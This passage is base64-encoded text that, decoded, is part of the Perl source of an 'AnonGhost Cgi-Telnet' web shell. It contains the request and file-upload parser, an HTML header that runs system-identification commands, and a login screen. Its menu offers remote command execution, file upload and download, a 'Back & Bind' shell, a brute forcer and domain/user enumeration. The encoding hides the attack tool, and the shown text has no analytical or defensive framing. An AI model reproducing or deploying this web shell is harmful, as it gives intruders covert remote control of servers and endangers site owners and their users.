NlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7DQp9DQpmdW5jdGlvbiBybV9jaG1vZF9mb3JtKHJlc3BvbnNlLGkscGVybXMsZmlsZSkNCnsNCglyZXNwb25zZS5pbm5lckhUTUwgPSAiPHNwYW4gb25jbGljaz1cXFwiY2htb2RfZm9ybSgiICsgaSArICIsJyIrIGZpbGUrICInKVxcXCIgPiIrIHBlcm1zICsiPC9zcGFuPjwvdGQ+IjsNCn0NCmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOw0KCXZhciBiYWNrPSJybV9yZW5hbWVfZm9ybSgiK2krIixcXFwiIitmaWxlKyJcXFwiLFxcXCIiK2YrIlxcXCIpOyByZXR1cm4gZmFsc2U7IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScnIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgdmFsdWU9T0s+PGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdzdWJtaXQnIG9uY2xpY2s9JyIgKyBiYWNrICsgIicgdmFsdWU9Q2FuY2VsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJEVuY29kZUN1cnJlbnREaXInPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWYgdmFsdWU9JyIrZmlsZSsiJz48L2Zvcm0+IjsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsNCn0NCmZ1bmN0aW9uIHJtX3JlbmFtZV9mb3JtKGksZmlsZSxmKQ0Kew0KCWlmKGY9PSdmJykNCgl7DQoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JEVuY29kZUN1cnJlbnREaXImYz1lZGl0JTIwIitmaWxlKyIlMjAnPiIgK2ZpbGUrICI8L2E+IjsNCgl9ZWxzZQ0KCXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9IjxhIGhyZWY9Jz9hPWd1aSZkPSIrZisiJz5bICIgK2ZpbGUrICIgXTwvYT4iOw0KCX0NCn0NCjwvc2NyaXB0Pg0KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IiMwYzBjMGMiIHRvcG1hcmdpbj0iMCIgbGVmdG1hcmdpbj0iMCIgbWFyZ2lud2lkdGg9IjAiIG1hcmdpbmhlaWdodD0iMCI+DQo8Y2VudGVyPjxjb2RlPg0KPHRhYmxlIGJvcmRlcj0iMSIgd2lkdGg9IjEwMCUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+DQo8dHI+DQoJPHRkIGFsaWduPSJjZW50ZXIiIHJvd3NwYW49Mz4NCgkJPGI+PGZvbnQgc2l6ZT0iMyI+by0tLVsgICRFZGl0UGVyc2lvbiBdLS0tbzwvZm9udD48L2I+DQoJPC90ZD4NCgk8dGQ+DQoJCSRpbmZvDQoJPC90ZD4NCgk8dGQ+U2VydmVyIElQOjxmb250IGNvbG9yPSIjZmY5OTAwIj4gJEVOVnsnU0VSVkVSX0FERFInfTwvZm9udD4gfCBZb3VyIElQOiA8Zm9udCBjb2xvcj0iI2ZmOTkwMCI+JEVOVnsnUkVNT1RFX0FERFInfTwvZm9udD4NCgk8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIj4NCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbiI+SG9tZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWNvbW1hbmQmZD0kRW5jb2RlQ3VycmVudERpciI+Q29tbWFuZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Z3VpJmQ9JEVuY29kZUN1cnJlbnREaXIiPkdVSTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZUN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWJhY2tiaW5kIj5CYWNrICYgQmluZDwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9YnJ1dGVmb3JjZXIiPkJydXRlIEZvcmNlcjwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9Y2hlY2tsb2ciPkNoZWNrIExvZzwvYT4gfA0KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG9tYWluc3VzZXIiPkRvbWFpbnMvVXNlcnM8L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+TG9nb3V0PC9hPiB8DQo8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0iIyI+SGVscDwvYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiPg0KJGlkDQo8L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8Zm9udCBpZD0iUmVzcG9uc2VEYXRhIiBjb2xvcj0iI0ZGRkZGRiIgPg0KRU5EDQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgTG9naW4gU2NyZWVuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dpblNjcmVlbg0Kew0KCXByaW50IDw8RU5EOw0KPHByZT48c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQpUeXBpbmdUZXh0ID0gZnVuY3Rpb24oZWxlbWVudCwgaW50ZXJ2YWwsIGN1cnNvciwgZmluaXNoZWRDYWxsYmFjaykgew0KICBpZigodHlwZW9mIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkID09ICJ1bmRlZmluZWQiKSB8fCAodHlwZW9mIGVsZW1lbnQuaW5uZXJIVE1MID09ICJ1bmRlZmluZWQiKSkgew0KICAgIHRoaXMucnVubmluZyA9IHRydWU7CS8vIE5ldmVyIHJ1bi4NCiAgICByZXR1cm47DQogIH0NCiAgdGhpcy5lbGVtZW50ID0gZWxlbWVudDsNCiAgdGhpcy5maW5pc2hlZENhbGxiYWNrID0gKGZpbmlzaGVkQ2FsbGJhY2sgPyBmaW5pc2hlZENhbGxiYWNrIDogZnVuY3Rpb24oKSB7IHJldHVybjsgfSk7DQogIHRoaXMuaW50ZXJ2YWwgPSAodHlwZW9mIGludGVydmFsID09ICJ1bmRlZmluZWQiID8gMTAwIDogaW50ZXJ2YWwpOw0KICB0aGlzLm9yaWdUZXh0ID0gdGhpcy5lbGVtZW50LmlubmVySFRNTDsNCiAgdGhpcy51bnBhcnNlZE9yaWdUZXh0ID0gdGhpcy5vcmlnVGV4dDsNCiAgdGhpcy5jdXJzb3IgPSAoY3Vyc29yID8gY3Vyc29yIDogIiIpOw0KICB0aGlzLmN1cnJlbnRUZXh0ID0gIiI7DQogIHRoaXMuY3VycmVudENoYXIgPSAwOw0KICB0aGlzLmVsZW1lbnQudHlwaW5nVGV4dCA9IHRoaXM7DQogIGlmKHRoaXMuZWxlbWVudC5pZCA9PSAiIikgdGhpcy5lbGVtZW50LmlkID0gInR5cGluZ3RleHQiICsgVHlwaW5nVGV4dC5jdXJyZW50SW5kZXgrKzsNCiAgVHlwaW5nVGV4dC5hbGwucHVzaCh0aGlzKTsNCiAgdGhpcy5ydW5uaW5nID0gZmFsc2U7DQogIHRoaXMuaW5UYWcgPSBmYWxzZTsNCiAgdGhpcy50YWdCdWZmZXIgPSAiIjsNCiAgdGhpcy5pbkhUTUxFbnRpdHkgPSBmYWxzZTsNCiAgdGhpcy5IVE1MRW50aXR5QnVmZmVyID0gIiI7DQp9DQpUeXBpbmdUZXh0LmFsbCA9IG5ldyBBcnJheSgpOw0KVHlwaW5nVGV4dC5jdXJyZW50SW5kZXggPSAwOw0KVHlwaW5nVGV4dC5ydW5BbGwgPSBmdW5jdGlvbigpIHsNCiAgZm9yKHZhciBpID0gMDsgaSA8IFR5cGluZ1RleHQuYWxsLmxlbmd0aDsgaSsrKSBUeXBpbmdUZXh0LmFsbFtpXS5ydW4oKTsNCn0NClR5cGluZ1RleHQucHJvdG90eXBlLnJ1biA9IGZ1bmN0aW9uKCkgew0KICBpZih0aGlzLnJ1bm5pbmcpIHJldHVybjsNCiAgaWYodHlwZW9mIHRoaXMub3JpZ1RleHQgPT0gInVuZGVmaW5lZCIpIHsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7CS8vIFdlIGhhdmVuJ3QgZmluaXNoZWQgbG9hZGluZyB5ZXQuICBIYXZlIHBhdGllbmNlLg0KICAgIHJldHVybjsNCiAgfQ0KICBpZih0aGlzLmN1cnJlbnRUZXh0ID09ICIiKSB0aGlzLmVsZW1lbnQuaW5uZXJIVE1MID0gIiI7DQovLyAgdGhpcy5vcmlnVGV4dCA9IHRoaXMub3JpZ1RleHQucmVwbGFjZSgvPChbXjxdKSo+LywgIiIpOyAgICAgLy8gU3RyaXAgSFRNTCBmcm9tIHRleHQuDQogIGlmKHRoaXMuY3VycmVudENoYXIgPCB0aGlzLm9yaWdUZXh0Lmxlbmd0aCkgew0KICAgIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI8IiAmJiAhdGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgPSAiPCI7DQogICAgICB0aGlzLmluVGFnID0gdHJ1ZTsNCiAgICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICAgIHRoaXMucnVuKCk7DQogICAgICByZXR1cm47DQogICAgfSBlbHNlIGlmKHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpID09ICI+IiAmJiB0aGlzLmluVGFnKSB7DQogICAgICB0aGlzLnRhZ0J1ZmZlciArPSAiPiI7DQogICAgICB0aGlzLmluVGFnID0gZmFsc2U7DQogICAgICB0aGlzLmN1cnJlbnRUZXh0ICs9IHRoaXMudGFnQnVmZmVyOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2UgaWYodGhpcy5pblRhZykgew0KICAgICAgdGhpcy50YWdCdWZmZXIgKz0gdGhpcy5vcmlnVGV4dC5jaGFyQXQodGhpcy5jdXJyZW50Q2hhcik7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiJiIgJiYgIXRoaXMuaW5IVE1MRW50aXR5KSB7DQogICAgICB0aGlzLkhUTUxFbnRpdHlCdWZmZXIgPSAiJiI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IHRydWU7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKSA9PSAiOyIgJiYgdGhpcy5pbkhUTUxFbnRpdHkpIHsNCiAgICAgIHRoaXMuSFRNTEVudGl0eUJ1ZmZlciArPSAiOyI7DQogICAgICB0aGlzLmluSFRNTEVudGl0eSA9IGZhbHNlOw0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLkhUTUxFbnRpdHlCdWZmZXI7DQogICAgICB0aGlzLmN1cnJlbnRDaGFyKys7DQogICAgICB0aGlzLnJ1bigpOw0KICAgICAgcmV0dXJuOw0KICAgIH0gZWxzZSBpZih0aGlzLmluSFRNTEVudGl0eSkgew0KICAgICAgdGhpcy5IVE1MRW50aXR5QnVmZmVyICs9IHRoaXMub3JpZ1RleHQuY2hhckF0KHRoaXMuY3VycmVudENoYXIpOw0KICAgICAgdGhpcy5jdXJyZW50Q2hhcisrOw0KICAgICAgdGhpcy5ydW4oKTsNCiAgICAgIHJldHVybjsNCiAgICB9IGVsc2Ugew0KICAgICAgdGhpcy5jdXJyZW50VGV4dCArPSB0aGlzLm9yaWdUZXh0LmNoYXJBdCh0aGlzLmN1cnJlbnRDaGFyKTsNCiAgICB9DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCA9IHRoaXMuY3VycmVudFRleHQ7DQogICAgdGhpcy5lbGVtZW50LmlubmVySFRNTCArPSAodGhpcy5jdXJyZW50Q2hhciA8IHRoaXMub3JpZ1RleHQubGVuZ3RoIC0gMSA/ICh0eXBlb2YgdGhpcy5jdXJzb3IgPT0gImZ1bmN0aW9uIiA/IHRoaXMuY3Vyc29yKHRoaXMuY3VycmVudFRleHQpIDogdGhpcy5jdXJzb3IpIDogIiIpOw0KICAgIHRoaXMuY3VycmVudENoYXIrKzsNCiAgICBzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnIiArIHRoaXMuZWxlbWVudC5pZCArICInKS50eXBpbmdUZXh0LnJ1bigpIiwgdGhpcy5pbnRlcnZhbCk7DQogIH0gZWxzZSB7DQoJdGhpcy5jdXJyZW50VGV4dCA9ICIiOw0KCXRoaXMuY3VycmVudENoYXIgPSAwOw0KICAgICAgICB0aGlzLnJ1bm5pbmcgPSBmYWxzZTsNCiAgICAgICAgdGhpcy5maW5pc2hlZENhbGxiYWNrKCk7DQogIH0NCn0NCjwvc2NyaXB0Pg0KPC9wcmU+DQoNCjxicj4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KbmV3IFR5cGluZ1RleHQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoImhhY2siKSwgMzAsIGZ1bmN0aW9uKGkpeyB2YXIgYXIgPSBuZXcgQXJyYXkoIl8iLCIiKTsgcmV0dXJuICIgIiArIGFyW2kubGVuZ3RoICUgYXIubGVuZ3RoXTsgfSk7DQpUeXBpbmdUZXh0LnJ1bkFsbCgpOw0KDQo8L3NjcmlwdD4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBlbmNvZGUgaHRtbCBzcGVjaWFsIGNoYXJzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0